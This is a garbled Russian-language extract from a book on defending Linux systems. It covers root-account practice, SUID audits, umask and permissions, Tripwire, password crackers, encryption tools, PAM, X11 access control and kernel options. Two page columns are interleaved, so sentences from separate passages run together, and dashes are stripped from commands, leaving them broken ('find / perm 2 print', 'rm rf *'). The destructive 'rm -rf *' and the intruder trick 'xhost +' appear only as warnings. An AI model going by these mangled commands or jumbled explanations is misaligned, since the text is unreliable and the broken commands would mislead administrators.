Наиболее искомым счетом на вашей rm команд без * в теле.
машине является счет суперпользователя — ● Регистрируйтесь как администратор только
администратора (root). Этот счет имеет доступ ко для выполнения одиночных специфических
всем ресурсам машины, который также может задач. Если вы вдруг поймаете себя на том,
включать доступ к другим машинам в сети. что вы пытаетесь выяснить как чтото
Помните, что вы должны использовать счет работает или как чтото сделать, — сейчас же
администратора только для очень ограниченного перерегистрируйтесь как обычный
набора определенных задач, а в большинстве пользователь и не возвращайтесь к счету
случаев должны регистрироваться как обычный администратора, пока вы действительно не
пользователь. Работать все время как будете уверены, что нужно сделать
администратор является очень плохой идеей. администратору.
Несколько приемов, чтобы избежать ● Очень важными являются пути по умолчанию
последствий изза путаницы в счетах, с которыми администратора. Путь по умолчанию, или
вы работаете: переменная окружения PATH, определяет то
● Когда выполняете некоторую комплексную место, где shell ищет программы.
команду, попытайтесь сначала запустить ее в Попытайтесь ограничить пути по умолчанию
неразрушающем виде. администратора, насколько это возможно и
Особенно команды, содержащие заменители никогда не используйте точку, обозначающую
(wildmarks): например, вы собираетесь сделать «текущий каталог», в ваших установках
rm foo*.bak, а вместо этого сначала сделайте ls PATH. Кроме этого, никогда не разрешайте
foo*.bak и убедитесь, что вы собираетесь запись в каталоги, прописанные в
удалить действительно то, что думаете. Также переменной PATH, поскольку это может
помогает использование подтверждений при позволить взломщику модифицировать
выполнении таких команд. существующие или записать новые
программы в этих каталогах, разрешив им
● Некоторые находят полезным делать таким образом запустить эту программу
touch /i в их системах. Это заставит команды администратору в тот момент, когда
типа rm rf * спрашивать вас, действительно

301 302
Защищаем и атакуем Linux Защищаем и атакуем Linux

ему понадобится выполнить данную вашей машине, существует несколько


программу. инструментов, которые могут помочь. Sudo
● Никогда не используйте набор утилит позволяет пользователям использовать их пароли
rlogin/rsh/rexec (называемых rутилитами) для получения доступа к ограниченному набору
будучи администратором. Они являются команд администратора. Это позволит вам,
предметом интереса многих типов например, разрешить пользователям менять и
взломщиков и являются прямой опасностью монтировать сменные диски в вашей системе, но
при запуске администратором. не даст других привилегий. Sudo также ведет
Никогда не создавайте файл .rhosts будучи журнал всех удачных и неудачных запусков,
администратором. позволяя вам отслеживать кто и для чего
использовал эту команду. Поэтому sudo работает
● Файл /etc/securetty содержит список хорошо даже в тех местах, где несколько человек
терминалов, с которых может имеют права администратора, — используя
зарегистрироваться администратор. По возможности sudo, вы можете отследить, какие
умолчанию (в RedHat Linux) все установлено были сделаны изменения.
только на локальные виртуальные консол
(vtys). Будьте очень осторожны, добавляя Хотя sudo может использоваться для
чтолибо еще в этот файл. Вы можете предоставления определенным пользователям
зарегистрироваться удаленно как обычный определенных привилегий для специфических
пользователь, а затем использовать su, задач, эта утилита имеет несколько недостатков.
если вам действительно это нужно (полезн Она должна использоваться только для
через ssh или другой зашифрованный канал), ограниченного набора задач, подобных
таким образом нет необходимости прямо перезагрузке сервера, или добавления новых
егистрироваться как администратор. пользователей. Любая программа, которая
предоставляет возможность выхода из shell, дает
● Никогда не спешите и обдумывайте каждый пользователю права администратора. Например,
шаг, работая администратором. Ваши это свойственно многим редакторам. Также такие
действия могут затронуть многие безобидные программы, как /bin/cat могут
вещи. Думайте, прежде чем чтолибо использоваться для перезаписи файлов, которые
выполнить. могут позволить эксплуатировать счет
Если вам абсолютно положительно администратора. Рассматривайте sudo как средство
необходимо разрешить комулибо (обычно очень учета, и не ожидайте, что заменив им
доверенному) иметь доступ как администратор к суперпользователя, вы будете в безопасности.

303 304
Защищаем и атакуем Linux Защищаем и атакуем Linux

Глава 14: Безопасность файлов и Установите лимит использования файловой


системы вместо разрешения неограниченного
файловой системы использования, что установлено по умолчанию.
Несколько минут подготовки и Вы можете контролировать лимиты каждого
планирования, прежде чем открыть вашу систему пользователя, используя специальный модуль
Internet может помочь защитить как ее, так и лимитов ресурсов PAM и /etc/pam.d/limits.conf.
имеющиеся в ней данные. Например, лимиты для группы users могут
выглядеть следующим образом:
Нет ни одной причины, по которой нужно
было бы разрешать запуск SUID/SGID программ @users hard core 0
из пользовательских домашних каталогов. Для тех @users hard nproc 50
разделов, в которые разрешена запись не только @users hard rss 5000
администратору, в /etc/fstab поставьте опцию
nosuid. Вы также можете захотеть использовать Это запрещает создание core файлов,
nodev и noexec для домашних каталогов, а также ограничение количества процессов значением 50,
/var, которые запретят выполнение программ и и ограничение использования памяти 5МВ на
создание символьных и блочных устройств, пользователя.
которые и так никогда не нужны. Файлы /var/log/wtmp и /var/run/utmp
Если вы экспортируете файловые системы, содержат записи регистрации для всех
используя NFS, обязательно отконфигурируйте пользователей в вашей системе. Их накопление
/etc/exports с максимально возможными должно поддерживаться постоянно, поскольку их
ограничениями. Это означает: не использовать можно использовать для определения, когда и
символы подстановки (wildcards); не разрешать откуда пользователь (или потенциальный
запись администратору удаленной системы, а взломщик) вошел в вашу систему. Эти файлы
также монтирование с правами «только чтение», должны иметь маску прав доступа 644, чтобы не
где только возможно. нарушать нормальной работы системы.
Настройте umask создания файлов для Для предотвращения случайного удаления
ваших пользователей, настолько ограничивающей, или перезаписи файлов, которые должны быть
насколько это возможно. Общеупотребительными защищены, можно использовать иммунный бит.
являются 022, 033, и наиболее ограничивающая Он также предотвращает создание кем бы то ни
077, и добавьте все это к /etc/profile. было символьной связи на этот файл, что является
одним из методов атаки с целью удаления
/etc/passwd или /etc/shadow.

305 306
Защищаем и атакуем Linux Защищаем и атакуем Linux

SUID и SGID файлы в вашей системе правами на запись, поскольку они позволяют
являются потенциальными носителями риска взломщику по желанию добавлять или удалять
вашей безопасности, поэтому должны быть под файлы. Для обнаружения в вашей системе всех
постоянным и тщательным наблюдением. файлов с разрешенными для всех правами записи,
Поскольку эти программы предоставляют выполните следующую команду:
специальные привилегии пользователям, которые root# find / perm 2 print
запускают их, необходимо убедиться, что и убедитесь, что вы действительно знаете, почему
небезопасные программы не установлены. в эти файлы разрешена запись. В условиях
Любимым приемом кракеров является разработка нормальной работы только для некоторых файлов
программ с SUID "root", и затем оставлять их в будет разрешена запись, включая некоторые из
системе как «черный ход» для получения доступа в /dev и символьные ссылки.
следующий раз, даже если изначально
использованная «дыра» уже и будет закрыта. Файлы без владельца также могут быть
индикатором внедрения в вашу систему
Найдите все SUID/SGID программы в взломщика. Файлы без владельца или с таковым
вашей системе и посмотрите, что они из себя без принадлежности к какойлибо группе, можно
представляют, таким образом вы будете знать, что обнаружить с помощью команды:
любое изменение в них является индикатором
возможного взлома. Чтобы найти все SUID/SGID root# find / nouser o nogroup print
программы в вашей системе, используйте Обнаружение файлов .rhosts должно быть
следующую команду: вашей регулярной обязанностью как системного
root# find / type f \( perm 04000 o perm 02000 \) администратора, поскольку эти файлы ни в коем
случае не должны быть в вашей системе. Помните,
Вы можете дискриминативно убрать все взломщику нужен только один небезопасный счет
SUID или SGID права для всех подозрительных для возможного получения доступа ко всей вашей
программ используя chmod(1), а сети. Вы можете обнаружить все файлы .rhosts в
затем поставить обратно, если вы будете вашей системе с помощью команды:
абсолютно уверены в необходимости этого.
root# find /home name .rhosts print
Файлы с разрешенными для всех правами
записи, особенно системные файлы, могут быть И наконец, перед тем, как изменить права
«дырой» в безопасности, если взломщик получит доступа какихлибо системных файлов, убедитесь,
доступ к вашей системе и изменит их. Кроме того, что вы понимаете, что делаете. Никогда не
опасны каталоги с разрешенными для всех изменяйте права доступа файла только потому, что
это является простым способом заставить чтото

307 308
Защищаем и атакуем Linux Защищаем и атакуем Linux

работать. Прежде чем изменять, всегда использовать только 002. Это изза того, что
определяйте, почему файл имеет именно такие настройки по умолчанию определяют одного
права доступа. пользователя на группу.

Глава 15: Установки umask Глава 16: Права доступа файла


Команду umask можно использовать для Важно убедиться, что ваши системные
определения режима создания файлов в вашей файлы закрыты для случайного редактирования
системе, принимаемого по умолчанию. Она пользователями и группами, которые не должны
представляет битовое дополнение до желаемого выполнять таких действий.
значения режима файла. Если файлы создаются UNIX разделяет контроль доступа к файлам
без какоголибо специального набора прав и каталогам по трем принадлежностям: владелец,
доступа, то можно случайно разрешить чтение или группа, все остальные. Существует всегда один
запись тому, кто не должен иметь таких прав. владелец, любое количество членов группы и еще
Типично принятыми umask являются 022, 027 и все остальные.
077, которые наиболее ограничивающие.
Нормальным будет установить значение umask в Права доступа в unix:
/etc/profile, так чтобы оно применялось ко всем ● Собственность. Какой пользователь(ли) и
пользователям в системе. Например, вы можете группа(ы) удерживает контроль установок
иметь строку, подобную следующей: прав вершины (node) и родителя вершины.
# Значение umask по умолчанию для всех ● Права доступа. Назначаемые или
пользователей umask 033 переназначаемые в битовом выражении
Убедитесь, что значение umask для установки, которые разрешают некоторый
администратора составляет 077, что запрещает тип доступа к собственности. Права доступа к
чтение, запись и выполнение для остальных каталогам могут иметь отличающиеся
пользователей, до тех пор, пока это не будет значения от оных у файлов, содержащихся в
изменено явно командой chmod(1). них.

Если вы используете RedHat и Чтение:


придерживаетесь их схемы создания ID ● Возможность просмотра содержимого файла;
пользователя и группы (собственная группа ● Возможность чтения каталога.
пользователя), то для значения umask необходимо

309 310
Защищаем и атакуем Linux Защищаем и атакуем Linux

Запись: Глава 18: SUID Attribute:


● Возможность добавить или изменить файл; (для файлов)
● Возможность удалять или перемещать файлы
в каталоге. Описывает setuserid права на файл. Если
права доступа setuserid установлены в поле
Выполнение: «владелец» и файл исполняемый, то процесс,
● Возможность запуска программы или скрипта который запускает его, получает доступ к
болочки (shell script); системным ресурсам, основываясь на правах
● Возможность поиска в каталоге, в пользователя, который создал этот процесс. Во
комбинации с правом чтения. многих случаях это является причиной
возникновения buffer overflow.

Глава 17: Save Text Attribute: (для


Глава 19: SGID Attribute:
каталогов)
(для файлов)
sticky бит также имеет отличное значение,
применимое к каталогам. Если sticky бит Если установлен в правах доступа «группы»,
установлен для каталога, то пользователь может этот бит контролирует set group id статус файла.
удалять только те файлы, владельцем которых он При этом он работает также как и SUID, только
является, или к которым ему явно заданы права задействована при этом группа, а не отдельный
записи, несмотря на то, что ему разрешена запись пользователь.
в этот каталог. Это сделано для каталогов,
подобных /tmp, в которые разрешена запись всем, Глава 20: SGID Attribute:
но в которых не желательно разрешать любому
пользователю удалять файлы от нечего делать.
(для каталогов)
sticky бит видно как t в полном режиме Если вы установите SGID бит для каталога
отображения содержимого каталога. (командой chmod g+s directory), то файлы,
(long listing). содержащиеся в этом каталоге будут иметь
установки группы такие, как у каталога.

311 312
Защищаем и атакуем Linux Защищаем и атакуем Linux

Глава 21: SUID Shell Scripts ночь и посылку результатов вам по почте утром.
Чтото наподобие этого:
SUID скрипты командного интерпретатора
# установить получателя
являются также риском безопасности, по этой
причине ядро не обслуживает их. Независимо от MAILTO=kevin
вашего мнения о том, насколько безопасным # запустить tripwire
является скрипт, он может быть переделан для 15 05 * * * root /usr/local/adm/tcheck/tripwire
выдачи взломщику оболочки администратора. будет отсылать вам по почте отчет каждое
утро в 5:15.
Глава 22: Проверка целостности с Tripwire может быть всевышним в
помощью Tripwire обнаружении взломщиков еще до того, как вы
заметите их. Как только в системе появится
Другим хорошим способом обнаружить некоторое количество измененных файлов, вы
локальные (а также сетевые) атаки на вашу должны понимать, что имеет место деятельность
систему является использование тестеров взломщика, и знать, что делать вам самим.
целостности (integrity checkers), подобных Tripwire.
Tripwire вычисляет контрольные суммы для всех
важных бинарных и конфигурационных файлов в Глава 23: «Троянские кони»
вашей системе и сравнивает их с предыдущими, Термин «Троянский Конь» взят из великого
хорошо известными, из базы данных. Таким творения Гомера. Идея состоит в том, что вы
образом, любые изменения в файлах будут создаете программу, которая чемлибо
замечены. привлекательна, и какимлибо способом
Хорошей идеей будет записать tripwire на заставляете других людей скачать ее и запустить
дискету, а затем установить на нее защиту от как администратор. Затем, пока они не
записи. Таким образом, взломщик не сможет разобрались, вы можете разрушить их систему.
подделать tripwire или изменить базу данных. Как Пока они думают, что программа, которую они
только вы установили tripwire, будет неплохо только что вытянули, делает одну вещь (и может
включить в свои обязанности администратора даже очень хорошо), она также разрушает их
безопасности проверку с помощью него на систему безопасности.
предмет какихлибо изменений. Вы должны быть очень внимательны при
Вы можете даже добавить в список задач установке новых программ на вашу машину. Red
crontab запуск tripwire c вашей дискеты каждую
313 314
Защищаем и атакуем Linux Защищаем и атакуем Linux

Hat предоставляет MD5 контрольные суммы и Шифрование очень полезно, возможно даже
PGP ключи для RPM файлов, так что вы можете необходимо в это время и в этом месте.
проверить, действительно ли вы инсталлируете Существует большое количество разных методов
реальные продукты. Другие дистрибутивы имеют шифрования данных, каждый из которых имеет
подобные методы. Вы никогда не должны свой собственный набор характеристик.
запускать из под администратора бинарники, для Большинство Unix (и Linux не исключение)
которых у вас нет исходников, или о которых вы в основном используют односторонний алгоритм
ничего не слышали! Немногие взломщики имеют шифрования, называемый DES (стандарт
желание выложить на всеобщее обозрение шифрования данных, Data Encription Standard),
исходный код. для шифрования ваших паролей. Эти
Также может быть общим совет брать зашифрованные пароли затем сохраняются
исходники некоторых программ с их реальных (обычно) в файле /etc/passwd или (реже) в
дистрибутивных серверов. Если программу нужно /etc/shadow. Когда вы пытаетесь
запускать из под администратора, проверьте зарегистрироваться, все, что вы набираете, снова
исходный код сами или дайте на проверку тому, шифруется и сравнивается с содержимым файла, в
кому вы доверяете. котором хранятся ваши пароли. Если они
совпадают, должно быть это одинаковые пароли, и
вам разрешают доступ. Хотя DES является
Глава 24: Безопасность паролей и двусторонним (вы можете закодировать, а затем
шифрование раскодировать сообщение, давая верный ключ),
большинство Unix используют односторонний
Одними из наиболее важных свойств
вариант. Это значит, что невозможно на
безопасности, используемых сегодня, являются
основании содержания файла /etc/passwd (или
пароли. Важно как вам, так и вашим
/etc/shadow) провести расшифровку для получения
пользователям иметь безопасные, не очевидные
паролей.
пароли. Большинство из наиболее последних
дистрибутивов Linux включают программу passwd, Атаки «методом грубой силы», такие как
которая не позволит вам установить легко «Взлом» или «John the Ripper», могут часто угадать
угадываемый пароль. Убедитесь, что ваша ваш пароль, если он не достаточно
программа passwd современна и имеет это рандомизирован. PAM модули позволяют вам
свойство. использовать различные программы шифрования
для ваших паролей (такие как MD5 или
подобные).

315 316
Защищаем и атакуем Linux Защищаем и атакуем Linux

Глава 25: PGP и криптование США на экспорт — сильное шифрование


рассматривается как военное оружие и запрещено
открытым ключом (Public Key к распространению в электронной форме за
Cryptography) пределами страны.
Криптование открытым ключом, подобного SSL, S$HTTP, HTTPS и S/MIME
как для PGP, происходит таким образом, что
Очень часто пользователи спрашивают о
шифрование производится одним ключом, а
различиях между различными протоколами
расшифровка — другим. Традиционно в
безопасности и шифрования, и как их
криптографии как для шифрования так и для
использовать.
расшифровки используется один ключ. Этот
«личный ключ» (private key) должны знать обе ● SSL или Secure Sockets Layer, является
стороны — передающая и получающая — а также методом шифрования разработанным
ктото, кто передаст его от одной стороны другой. Netscape для обеспечения безопасности в
Сети. Он поддерживает несколько различных
Криптование открытым ключом снимает
протоколов шифрования, и обеспечивает
необходимость секретно передавать ключ, который
идентификацию (authentication) как на уровне
используется для шифрования, использованием
клиента так и на уровне сервера. SSL
двух различных ключей: публичного ключа и
работает на транспортном уровне, создает
личного ключа. Публичный ключ каждого
безопасный шифрованный канал данных, и,
человека доступен любому другому для
таким образом, может бесшовно шифровать
выполнения шифрования, в то же время каждый
данные многих типов. Наиболее часто это
человек имеет его/ее личный ключ для
случается, когда вы посещаете защищенный
дешифрации сообщений, зашифрованных
узел для просмотра в режиме online
правильным публичным ключом.
секретного документа с помощью
Есть преимущества как в использовании Communicator, который обеспечивает вас
публичного (открытого) ключа, так и базовыми услугами безопасности связи, а
криптографии личного ключа. также многими другими видами шифрования
PGP (Pretty Good Privacy) довольно хорошо данных.
поддерживается в Linux. Известно, что хорошо ● SHTTP является еще одним протоколом,
работают версии 2.6.2 и 5.0. Убедитесь, что вы который реализует в Internet сервис
используете версию, применимую в вашей стране, безопасности. Он был разработан для
поскольку существуют ограничения правительства предоставления конфиденциальности,

317 318
Защищаем и атакуем Linux Защищаем и атакуем Linux

опознавания, сохранности, а также реализации сетевого протокола называемую х


nonrepudiability, в то же время имея ядро. В двух словах, хядро является методом
механизмы управления многими ключами и передачи сообщений на уровне ядра, что
криптографические алгоритмы путем позволяет более простую реализацию.
выборочного согласования между Как и с другими формами криптографии,
участниками в каждой транзакции. этот метод не распространяется с ядром изза
SHTTP ограничен специфическим ограничений на экспорт.
программным обеспечением, которое
реализует его, и шифрует каждое
сообщение индивидуально. Глава 27: SSH (Secure Shell), stelnet
● S/MIME или Secure Multipurpose Internet SSH и stelnet — это программы, которые
Mail Extension, является стандартом позволяют вам зарегистрироваться на удаленном
шифрования, используемым в электронной сервере и иметь шифрованное соединение.
почте, или других типах сообщений в Internet.
SSH является набором программ,
Это открытый стандарт, который разработан
используемым как более безопасный заменитель
RSA, и поэтому очень вероятно, что мы
для rlogin, rsh и rcp. Он использует криптографию
скоро увидим его в Linux.
открытого ключа для шифрования соединения
между двумя машинами, а также для опознавания
Глава 26: Реализация IPSEC в x$ядре пользователей. Его можно использовать для
Linux безопасной регистрации на удаленном сервере или
копировании данных между двумя машинами, в то
Наряду с CIPE и другими формами же время предотвращая атаки путем
шифрования данных, существует также реализация присоединения посредине (session hijacking) и
IPSEC для Linux. IPSEC создан усилиями IETF обманом сервера имен (DNS spoffing). Он
для обеспечения криптографически безопасных предоставляет компрессию данных в вашем
соединений на уровне IP сети, который также соединение и безопасное X11 соединение между
предоставляет опознавание, сохранность, контроль двумя машинами.
доступа и конфиденциальность. Вы также можете использовать SSH с вашей
Реализация для Linux, которая была рабочей станции под Windows, обращаясь к
разработана в Университете Аризоны, использует вашему Linux SSH серверу.
объектноориентированную структуру для SSLeay является бесплатной реализацией

319 320
Защищаем и атакуем Linux Защищаем и атакуем Linux

протокола Secure Sockets Layer от Netscape и ● На лету активизировать теневые пароли


состоит из нескольких приложений, таких как (shadow password).
Secure telnet, модуль для Apache, нескольких баз ● Разрешать определенным пользователям
данных, а также нескольких алгоритмов, включая регистрироваться только в определенное
DES, IDEA и Blowfish. время и/или с определенного места.
Используя эту библиотеку, был создан За несколько часов установки и настройки
secure telnet, который выполняет шифрование вашей системы вы можете предотвратить много
через telnetсоединение. В противовес атак еще до их возникновения. Например,
SSH, stelnet использует SSL (Secure Sockets Layer) используйте PAM для запрещения широкого
протокол, разработанный Netscape. использования в системе файлов .rhosts в
домашних каталогах пользователей добавлением
Глава 28: PAM — Pluggable этих строк к /etc/pam.d/login:
Authentication Modules #
# Запретить для пользователей rsh/rlogin/rexec
Новые версии дистрибутива RedHat
распространяются с унифицированной схемой #
идентификации, называемой PAM. PAM позволяет login auth required pam_rhosts_auth.so no_rhosts
вам налету изменять ваши методы идентификации,
требования, инкапсулировать все ваши локальные
методы идентификации без перекомпиляции
Глава 29: Криптографическая
ваших программ. IP инкапсуляция (CIPE)
Вот несколько вещей, которые вы можете Главной целью этого программного
делать с PAM: обеспечения является предоставление средств для
● Использовать неDES шифрование для ваших безопасной (против подслушивания, включая
паролей. (Делая их более устойчивыми к анализ траффика, и подставления поддельных
взлому методом «грубой силы»). сообщений) связи между подсетями через
● Устанавливать лимиты на ресурсы для ваших небезопасные пакетные сети, такие как Internet.
пользователей, чтобы они не могли CIPE шифрует данные на сетевом уровне.
выполнить сервисную атаку (количество Шифруются пакеты, которые передаются между
процессов, количество памяти, и т.п.). компьютерами в сети. Шифрующий код

321 322
Защищаем и атакуем Linux Защищаем и атакуем Linux

помещается недалеко от драйвера, который Глава 30: Kerberos


посылает и принимает пакеты.
Kerberos является идентификационной
Это не схоже с SSH, который шифрует
системой, разработанной по проекту Athena в
данные по соединениям — на гнездовом уровне. В
MIT. Во время регистрации пользователя, Kerberos
этом случае шифруется логическое соединение
идентифицирует его (используя пароль) и
между программами, запущенными на разных
предоставляет пользователю способ доказать его
машинах.
идентичность другим серверам и компьютерам,
CIPE можно также использовать при разбросанным в сети.
тунеллировании (tunnelling) для создания
Эта идентификация затем используется
Виртуальных Частных Сетей (Virtual Private Net
программами, такими как rlogin, для разрешения
works). Преимущество низкоуровневого
пользователю регистрации на других компьютерах
шифрования состоит в том, что оно позволяет
без пароля (в месте .rhosts файла). Идентификация
прозрачную работу между двумя сетями,
также используется почтовой системой для того,
соединенными в VPN, без какихлибо изменений
чтобы гарантировать, что почта доставлена
в программном обеспечении.
правильному адресату, а также для гарантии того,
IPSEC стандарты определяют набор что посылающий является тем, за кого себя
протоколов, которые можно использовать (среди выдает.
прочих) для построения шифрованных VPN.
Общий эффект использования Kerberos и
Однако, IPSEC является скорее тяжеловесным и
других программ, которые поставляются вместе с
сложным с большим количеством опций,
ним, состоит в сущности в полном исключении
реализация полного набора протоколов все еще
какойлибо возможности пользователям обмануть
редко используется и некоторые вещи (такие как
систему по поводу своей принадлежности. К
управление ключами) еще не до конца решены.
сожалению, установка Kerberos довольно
CIPE использует более простой подход, в котором
трудоемкая, требующая модификации или замены
многие вещи, которые можно параметризовать
большого количества стандартных программ.
(такие, как выбор текущего алгоритма
шифрования), устанавливаются единожды во
время инсталляции. Это ограничивает гибкость, но Глава 31: Теневые пароли (Shadow
позволяет более простую (и поэтому passwords)
эффективную, простую в отладке) реализацию.
Теневые пароли означают сокрытие
секретной информации о ваших шифрованных
323 324
Защищаем и атакуем Linux Защищаем и атакуем Linux

паролях от обыкновенных пользователей. Обычно the Ripper». Конечно, они заберут много вашего
эти шифрованные пароли находятся у вас в процессорного времени, но вы сможете с
/etc/passwd и открыты всем для чтения. Таким уверенностью сказать, сможет ли взломщик с
образом, на этот файл можно напустить помощью них получить ваши пароли, — сначала
программурасшифровщик, чтобы попытаться себе, а затем и пользователям указать слабые
определить значения паролей. Пакет shadow пароли. Заметьте, что взломщик для получения
записывает информацию о паролях в файл passwd должен был бы сначала использовать
/etc/shadow, который могут читать только другие дыры в системе, но это уже более широкий
привилегированные пользователи. Для того, чтобы вопрос, чем вы можете подумать.
активизировать теневые пароли, вам необходимо
убедиться, что все ваши утилиты, которым
необходим доступ к паролям, скомпилированы с
Глава 33: CFS и TCFS
поддержкой теневых паролей. PAM, кстати, CFS — это метод шифрования всей
позволяет вам просто подключить shadow модуль и файловой системы, который позволяет
не требует перекомпиляции программ. пользователям сохранять в ней зашифрованные
файлы. Он использует NFS сервер, запущенный на
Глава 32: «Crack» и «John the Ripper» локальной машине.
TCFS является улучшенным вариантом CFS,
Если по какойлибо причине ваша поскольку более интегрирован с файловой
программа passwd не может отслеживать легко системой, и, таким образом, прозрачен для всех
узнаваемые пароли, вы можете использовать пользователей, использующих зашифрованную
взламывающую пароли программу, чтобы файловую систему.
убедиться в безопасности паролей ваших
пользователей.
Взламывающие пароли программы
Глава 34: X11, SVGA и экранная
основаны на простой идее. Они перебирают безопасность
каждое слово и его вариации из словаря. Они
Очень важно для вас защитить ваш
зашифровывают это слово и сравнивают его с
графический экран, чтобы предотвратить
вашим зашифрованным паролем. Если они
взломщика от действий, подобных воровству
совпадают, значит задача выполнена.
вашего пароля во время набора без вашего ведома,
Существует целый ряд таких программ, чтению документов или информации, оставленной
наиболее заметные из них это «Crack» and «John вами на экране или даже использованию дыр для
325 326
Защищаем и атакуем Linux Защищаем и атакуем Linux

получения прав суперпользователя. Запуск Безопасным будет использовать xdm для


удаленных Х приложений через сеть также может регистрации на вашей консоли, а затем
быть чреват опасностями, давая возможность использовать ssh для перехода на удаленную
взломщику перехватить ваше взаимодействие с машину, с которой вы хотите запустить X
удаленным компьютером. программу.
Х имеет целый ряд механизмов контроля Программы, основанные на SVGAlib,
доступа. Наиболее простой из них — обычно являются SUIDroot, для того чтобы иметь
машинозависимый (host based). Вы можете доступ ко всем видеоресурсам вашего
использовать xhost для определения тех машин, с компьютера. Это делает их очень опасными. Если
которых разрешен доступ к вашему экрану. Но в они дают сбой, то обычно вам нужно
общем, это не очень безопасный метод. Если кто перезагрузить компьютер, чтобы опять получить
то имеет доступ к вашей машине, он может доступ к консоли. Убедитесь, что все SVGA
выполнить: xhost + его машина и, таким образом, программы, которые вы запускаете, подлинны, и
легко войти. Также, если вам нужно разрешить как минимум такие, которым вы доверяете. А
доступ с ненадежной машины, любой может лучше — не запускайте их вообще.
подвергнуть риску ваш дисплей. Проект GGI для Linux является попыткой
Если для регистрации используется xdm (x решить несколько проблем с видео интерфейсом в
display manager), вы получаете намного лучший Linux. GGI будет передавать небольшие куски
метод доступа: видеокода в ядро Linux, и таким образом
MITMAGICCOOKIE1. Генерируется 128битный контролировать доступ к видео системе. Это
cookie и сохраняется в вашем файле .Xauthorty. значит, что GGI будет способен восстановить вашу
Если вы хотите удаленной машине разрешить консоль в любое время к известному рабочему
доступ к вашему дисплею, то для предоставления состоянию. Он также позволит использовать ключ
доступа именно этому соединению вы можете безопасности (secure attention key), так что вы
использовать команду xauth и информацию из сможете быть уверены, что на вашей консоли нет
вашего файла .Xauthority. ни одного запущенного «Троянского коня»,
Вы можете также использовать ssh для пытающегося зарегистрироваться.
разрешения безопасных Х соединений. Это имеет
также преимущество, поскольку прозрачно Глава 35: Безопасность ядра
конечному пользователю, и означает то, что не
зашифрованные данные не передаются по сети. Поскольку ядро контролирует поведение
вашего компьютера в сети, очень важно, чтобы

327 328
Защищаем и атакуем Linux Защищаем и атакуем Linux

ядро было само очень безопасно, и его нельзя ваша машина в сети, то вы можете теперь
было какимлибо образом взломать или ретранслировать данные из одной сети в другую, и
подвергнуть риску. Чтобы предотвратить можете, таким образом, разрушить существующий
некоторые из последних известных методов щит, поставленный именно для того, чтобы этого
сетевых атак, вы должны использовать последние не происходило. Обыкновенным dialup
стабильные версии ядра. пользователям лучше выключить это, а другим
нужно сконцентрироваться на безопасной
реализации этой опции. В компьютерещите эту
Глава 36: Опции компиляции ядра опцию нужно активировать и использовать вместе
с программным обеспечением, реализующим щит
IP: Drop source routed frames (firewall).
Эта опция должна быть включена. Вы можете включить либо выключить IP
Пришедшие кадры (Source routed frames) содержат forwarding динамически, используя команду для
полный путь их назначения внутри пакета. Это включения:
значит, что маршрутизатору, через который
проходят пакеты, не нужно их проверять, а просто root# echo 1 > /proc/sys/net/ipv4/ip_forward
передавать их дальше. В противном случае это и для выключения
могло бы привести к тому, что входящие в вашу root# echo 0 > /proc/sys/net/ipv4/ip_forward
систему данные имели бы потенциальную Этот файл (и много других файлов в /proc)
возможность деструктивных действий. всегда отображаются с нулевой длиной, но на
самом деле это не так. Это новое свойство ядра,
IP: Firewalling
так что убедитесь, что ваше ядро имеет версию
Эта опция необходима, если вы 2.0.33 или выше.
намереваетесь сконфигурировать вашу машину как
щит (firewall), настроить маскарад (masquerading), IP: firewall packet logging
или хотите защитить вашу станцию с Эта опция дает вам информацию о пакетах,
коммутирующимися соединениями от коголибо, которые приходят на ваш щит, как то отправитель,
желающего проникнуть через ваш PPP dialup получатель, порт и т.п.
интерфейс.
IP: always defragment
IP: forwarding/gatewaying
Обычно эта опция выключена, но если вы
Если вы включили IP forwarding, ваша Linux создаете системущит или настраиваете маскарад
станция в сущности стала маршрутизатором. Если

329 330
Защищаем и атакуем Linux Защищаем и атакуем Linux

(masquerading), вам желательно включить ее. Когда Устройства ядра


данные посылаются с одной системы в другую, Существует несколько блочных и
передача не всегда происходит одним пакетом, символьных устройств в Linux, которые также
скорее всего данные фрагментированы на помогут вам в вопросах безопасности.
несколько частей. Проблема при этом состоит в
Два устройства — /dev/random и /dev/uran
том, что информация о номере порта сохраняется
dom, предоставляются ядром для получения в
только в первом фрагменте. Это означает, что кто
любой момент времени случайных чисел.
то может вставить чужеродную информацию в
оставшиеся фрагменты в вашем соединении, И /dev/random и /dev/urandom должны быть
которая вообще там не предполагалась. достаточно безопасны, чтобы использоваться в
генераторах PGP ключей, SSH вызовах и других
IP: syn cookies приложениях, в которых используются случайные
SYN атака генерирует «отказ в числа. Взломщик не должен иметь возможности
предоставлении сервиса», который поглощает все предугадать следующее число, выданное любой
ресурсы вашей системы, что в результате приводит начальной последовательностью чисел из этих
к перезагрузке. Поэтому нет ни одной причины, генераторов. Было приложено огромное
по которой эту опцию не нужно было бы количество усилий для обеспечения того, чтобы
включать. числа, которые вы получаете от этих генераторов,
были случайны в полном смысле слова
Packet Signatures «случайный».
Эта опция доступна в ядрах серии 2.1, Разница состоит только в том, что /dev/ran
которая активирует подпись NCP пакетов для dom оканчивается на случайном байте и это
большей безопасности. Обычно вы можете заставляет вас больше ждать до полного
оставить ее выключенной, но если она вам накопления. Заметьте, что в некоторых системах,
понадобится, то она есть. это может на длительное время заблокировать ввод
при генерации в системе записи о новом
IP: Firewall packet netlink device пользователе. Поэтому вы должны с
Это действительно искусная опция, которая осторожностью использовать /dev/random.
позволяет вам проанализировать первые 128 (Возможно, наилучшим будет использовать его,
байтов в пакетах от пользовательских программ, и когда вы генерируете чувствительную к регистру
определить, на основании их достоверности, информацию, и вы говорите пользователю
принять или отклонить пакет.

331 332
Защищаем и атакуем Linux Защищаем и атакуем Linux

постоянно стучать по клавишам, пока вы не все больше и больше из них поставляются с


выдадите: «ОК, достаточно»). дистрибутивами Linux.
/dev/random является высококачественной
энтропией, генерируемой из измерения времени Глава 38: Пакетные ищейки
внутренних прерываний, или чегото в этом роде.
(Packet Sniffers)
Он блокируется до тех пор, пока не
наберется достаточно бит случайных данных. Одним из наиболее общих методов, которые
Работа /dev/urandom подобна, но когда взломщики могут использовать для получения
памяти под энтропию становиться мало, он доступа ко многим машинам в вашей сети,
возвращает криптографически надежные является применение пакетного ищейки с уже
случайные данные (hash) того, что есть на момент взломанных машин. Этот «ищейка» просто
останова. Это не настолько же безопасно, но слушает Ethernet порт на предмет наличия Pass
достаточно для большинства приложений. word, Login или su в потоке пакетов и записывает в
журнал всю информацию, идущую следом. При
Вы можете читать с этих устройств таком способе, взломщик получает пароли систем,
используя чтото наподобие: которые он даже и не пробовал пока взламывать.
